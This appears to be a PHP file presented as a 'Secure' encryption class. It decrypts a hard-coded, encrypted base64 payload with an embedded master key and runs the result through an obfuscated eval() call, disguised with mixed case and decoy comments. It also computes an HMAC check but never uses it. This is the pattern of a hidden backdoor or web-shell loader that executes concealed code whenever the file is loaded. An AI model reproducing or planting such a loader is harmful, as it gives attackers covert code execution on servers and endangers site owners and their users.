<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
/*1747701185 AMDL*/eVaL(/*Super*/
/*saltLength*/$decrypted/*94861*/);